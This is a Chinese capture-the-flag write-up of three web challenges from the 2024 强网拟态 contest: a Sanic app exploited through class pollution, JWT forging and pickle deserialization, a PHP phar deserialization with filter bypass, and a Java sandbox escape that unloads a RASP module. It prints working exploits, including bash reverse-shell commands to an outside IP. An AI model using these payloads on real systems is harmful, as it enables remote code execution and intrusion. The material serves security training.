强网拟态2024Web_Writeup

本文最后更新于:25 天前

Web

ez_picker | SOLVED | working:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []

safe_modules = {
'math',
'datetime',
'json',
'collections',
}

safe_names = {
'sqrt', 'pow', 'sin', 'cos', 'tan',
'date', 'datetime', 'timedelta', 'timezone',
'loads', 'dumps',
'namedtuple', 'deque', 'Counter', 'defaultdict'
}

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in safe_modules and name in safe_names:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))

def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
def __init__(self,username,password):
self.username=username
self.password=password


def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def token_required(func):
async def wrapper(request, *args, **kwargs):
token = request.cookies.get("token")
if not token:
return redirect('/login')
try:
result=jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
except jwt.ExpiredSignatureError:
return json({"status": "fail", "message": "Token expired"}, status=401)
except jwt.InvalidTokenError:
return json({"status": "fail", "message": "Invalid token"}, status=401)
print(result)
if result["role"]!="admin":
return json({"status": "fail", "message": "Permission Denied"}, status=401)
return await func(request, *args, **kwargs)
return wrapper

@app.route('/', methods=["GET"])
def file_reader(request):
file = "app.py"
with open(file, 'r') as f:
content = f.read()
return text(content)

@app.route('/upload', methods=["GET","POST"])
@token_required
async def upload(request):
if request.method=="GET":
return await file_('templates/upload.html')
if not request.files:
return text("No file provided", status=400)

file = request.files.get('file')
file_object = file[0] if isinstance(file, list) else file
try:
new_data = restricted_loads(file_object.body)
try:
my_object.update(new_data)
except:
return json({"status": "success", "message": "Pickle object loaded but not updated"})
with open(pickle_file, "wb") as f:
pickle.dump(my_object, f)

return json({"status": "success", "message": "Pickle object updated"})
except pickle.UnpicklingError:
return text("Dangerous pickle file", status=400)

@app.route('/register', methods=['GET','POST'])
async def register(request):
if request.method=='GET':
return await file_('templates/register.html')
if request.json:
NewUser=User("username","password")
merge(request.json, NewUser)
users.append(NewUser)
else:
return json({"status": "fail", "message": "Invalid request"}, status=400)
return json({"status": "success", "message": "Register Success!","redirect": "/login"})

@app.route('/login', methods=['GET','POST'])
async def login(request):
if request.method=='GET':
return await file_('templates/login.html')
if request.json:
username = request.json.get("username")
password = request.json.get("password")
if not username or not password:
return json({"status": "fail", "message": "Username or password missing"}, status=400)
user = next((u for u in users if u.username == username), None)
if user:
if user.password == password:
data={"user":username,"role":"guest"}
data['exp'] = int(time.time()) + 60 *5
token = jwt.encode(data, str(secret_key), algorithm='HS256')
response = json({"status": "success", "redirect": "/upload"})
response.cookies["token"]=token
response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
return response
else:
return json({"status": "fail", "message": "Invalid password"}, status=400)
else:
return json({"status": "fail", "message": "User not found"}, status=404)
return json({"status": "fail", "message": "Invalid request"}, status=400)

if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)

注册时传入请求包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /register HTTP/1.1
Host: web-0b224ff025.challenge.xctf.org.cn
Content-Length: 100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://web-0b224ff025.challenge.xctf.org.cn
Referer: http://web-0b224ff025.challenge.xctf.org.cn/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
"__init__":{
"__globals__":{
"secret_key":"114514"
}
}
}

然后随便注册一个普通用户,登录,拿token

去jwt.io用密钥114514改一下role字段的值,时间戳也可以设置的久一些,便于后续操作

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3MjkzNDIyNzJ9.C16xzLi63e7KUs0Cr7cBElh9M3QoAUU4Iql1v5TUEX0

成功通过验证进到upload路由

img

之后就是打个pickle反序列化

有白名单,这里依旧使用原型链污染全局变量,安全模块加入builtins,安全方法加入eval(具体为什么这俩本地debug一下即可)

生成exp

监听7890,上传文件即可

1
2
3
4
5
6
7
8
9
10
11
import pickle


class Test(object):
def __reduce__(self):
return (eval,('''os.system("bash -c 'bash -i >& /dev/tcp/47.121.138.97/7890 0>&1'")''',))

text = Test()

with open('example.pkl', 'wb') as f:
pickle.dump(text, f)

![](image (1).png)

capoo| SOLVED | working:

可以读文件

showpic.php TinyFat/0.99.75 PHP/7.4.33 nginx/1.22.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class CapooObj {
public function __wakeup()
{
$action = $this->action;
$action = str_replace("\"", "", $action);
$action = str_replace("\'", "", $action);
$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
if(preg_match($banlist, $action)){
die("Not Allowed!");
}
system($this->action);
}
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
$file = $_POST['capoo'];

if (file_exists($file)) {
$data = file_get_contents($file);
$base64 = base64_encode($data);
} else if (substr($file, 0, strlen("http://")) === "http://") {
$data = file_get_contents($_POST['capoo'] . "/capoo.gif");
if (strpos($data, "PILER") !== false) {
die("Capoo piler not allowed!");
}
file_put_contents("capoo_img/capoo.gif", $data);
die("Download Capoo OK");
} else {
die('Capoo does not exist.');
}
} else {
die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Display Capoo</title>
</head>
<body>
<img style='display:block; width:100px;height:100px;' id='base64image'
src='data:image/gif;base64, <?php echo $base64;?>' />
</body>
</html>

file_put_contents(“capoo_img/capoo.gif”, $data);写文件

$data = file_get_contents($file);打phar反序列化

命令绕过发现十进制或者16进制都能绕过host中的点,达到反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class CapooObj {
public function __construct()
{
$this->action = "bash -c 'bash -i >& /dev/tcp/0x2F798A61/7890 0>&1'";
}

public function __wakeup()
{
$action = $this->action;
$action = str_replace("\"", "", $action);
$action = str_replace("\'", "", $action);
$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
if(preg_match($banlist, $action)){
die("Not Allowed!");
}
system($this->action);
}
}
$phar=new phar('capoo.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$obj=new CapooObj();
$phar->setMetadata($obj);
$phar->addFromString("flag.txt","flag");
$phar->stopBuffering();

//file_get_contents("phar://capoo.gif");

然后gzip压缩

1
gzip /mnt/c/Users/linfe/Desktop/mimic/2/capoo.phar

先传

capoo=http://47.121.138.97:8000

再反序列化

capoo=phar://capoo_img/capoo.gif

OnlineRunner | statue | working:

一道java沙箱

gpt跑一下列jar包目录结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
java.io.File rootDirectory = new java.io.File("/home/ctf/sandbox/cfg"); // 对于 Linux 和 macOS,根目录是 "/"
// 对于 Windows,可以使用 "C:\\" 或 "D:\\" 等

// 列出根目录中的文件和目录
if (rootDirectory.exists() && rootDirectory.isDirectory()) {
String[] files = rootDirectory.list();
if (files != null) {
for (String file : files) {
System.out.println(file);
}
} else {
System.out.println("根目录中没有文件或目录。");
}
} else {
System.out.println("根目录不存在或不是一个目录。");
}

结果保存为字典用python来下载每一个class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
      
import os
import requests
import base64

def send_request_and_get_base64(file_path):
# 组装请求体,将文件路径嵌入到请求中
request_body = f'''
String jarFilePath = "app.jar";
String classPath = "{file_path}";

try (java.util.jar.JarFile jarFile = new java.util.jar.JarFile(new java.io.File(jarFilePath))) {{
java.util.jar.JarEntry entry = jarFile.getJarEntry(classPath);
if (entry != null) {{
try (java.io.InputStream inputStream = jarFile.getInputStream(entry)) {{
byte[] bytes = inputStream.readAllBytes();
String base64String = java.util.Base64.getEncoder().encodeToString(bytes);
System.out.println(base64String);
}}
}} else {{
System.out.println("Class not found: " + classPath);
}}
}} catch (java.io.IOException e) {{
e.printStackTrace();
}}
'''

# 发送请求到目标 URL
url = "http://web-bc44d1d247.challenge.xctf.org.cn/execute"
headers = {
"Content-Type": "text/plain",
"Accept": "*/*",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36"
}
response = requests.post(url, data=request_body.encode('utf-8'), headers=headers)

# 检查响应状态码是否为200
if response.status_code == 200:
# 提取响应体中的Base64内容
return response.text.strip()
else:
print(f"Failed to fetch {file_path}, status code: {response.status_code}")
return None

def decode_and_save_base64_to_file(base64_data, output_path):
# 确保输出文件的目录存在
os.makedirs(os.path.dirname(output_path), exist_ok=True)
# 解码Base64数据并写入文件
with open(output_path, 'wb') as file:
file.write(base64.b64decode(base64_data))

def process_files_list(file_list_path, output_base_dir):
with open(file_list_path, 'r') as file_list:
for line in file_list:
line = line.strip()
# 判断是否为目录,如果是目录则跳过处理
if line.endswith('/'):
continue
# 如果是文件,发送请求获取Base64内容
base64_data = send_request_and_get_base64(line)
if base64_data:
# 解码并保存文件到输出目录,保持原路径结构
output_file_path = os.path.join(output_base_dir, line)
decode_and_save_base64_to_file(base64_data, output_file_path)
print(f"Saved {line} to {output_file_path}")
else:
print(f"Failed to process {line}")

# 使用示例
file_list_path = '1.txt' # 包含所有文件和目录路径的文件
output_base_dir = 'output' # 解码后的文件保存的根目录

# 处理文件列表
process_files_list(file_list_path, output_base_dir)

然后发现实际上只有一个简单的main控制器,编译一段java主函数代码并运行,Runtime.getRuntime.exec()被拦,

读取/proc/self/cmdline看看启动方式

1
java --add-opens=java.base/java.lang=ALL-UNNAMED -javaagent:/home/ctf/sandbox/lib/sandbox-agent.jar -jar /app/app.jar --server.port=80

同样方式列sandbox-agent.jar结构,拿到是阿里的sandbox项目

卸载沙箱这里可以通过sandbox.sh脚本实现,进sandbox.sh具体看看

因此向http://127.0.0.1:port/sandbox/default/module/http/sandbox-module-mgr/unload?action=unload&ids=${ARG_MODULE_UNLOAD}

在log里面找到了一个rasp模块:

http://127.0.0.1:3658/sandbox/default/sandbox-module-mgr/list发起请求也能获取到已加载的模块

因此向http://127.0.0.1:port/sandbox/default/module/http/sandbox-module-mgr/unload?action=unload&ids=rasp-rce-native-hook发起一个请求就行

然后就能执行任意命令了